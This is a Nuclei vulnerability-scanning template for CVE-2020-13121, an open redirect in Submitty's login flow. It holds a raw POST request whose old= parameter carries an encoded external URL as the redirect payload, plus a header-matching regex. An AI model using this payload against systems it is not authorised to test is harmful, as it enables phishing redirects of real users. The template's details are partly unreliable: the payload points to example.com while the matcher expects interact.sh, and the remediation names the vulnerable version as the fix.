Submitty <= 20.04.01 - Open Redirect

id: CVE-2020-13121

info:
  name: Submitty <= 20.04.01 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: Submitty through 20.04.01 contains an open redirect vulnerability via authentication/login?old= during an invalid login attempt. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to Submitty version 20.04.01 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/Submitty/Submitty/issues/5265
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13121
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13121
    cwe-id: CWE-601
    epss-score: 0.00235
    epss-percentile: 0.61592
    cpe: cpe:2.3:a:rcos:submitty:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rcos
    product: submitty
  tags: cve,cve2020,redirect,submitty,oos,rcos

http:
  - raw:
      - |
        POST /authentication/check_login?old=http%253A%252F%252Fexample.com%252Fhome HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/authentication/login

        user_id={{username}}&password={{password}}&stay_logged_in=on&login=Login

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1
# digest: 4a0a0047304502206d5139608b72b6f1bc8113be66f7f9ef151af099ff74bd9a595fbe88734f52ae022100e4b539eca28305c2bfd5fa8b99eaa4c9f56de7cfc1103aa3c2acba9d4ebcf7c9:922c64590222798bb761d5b6d8e72950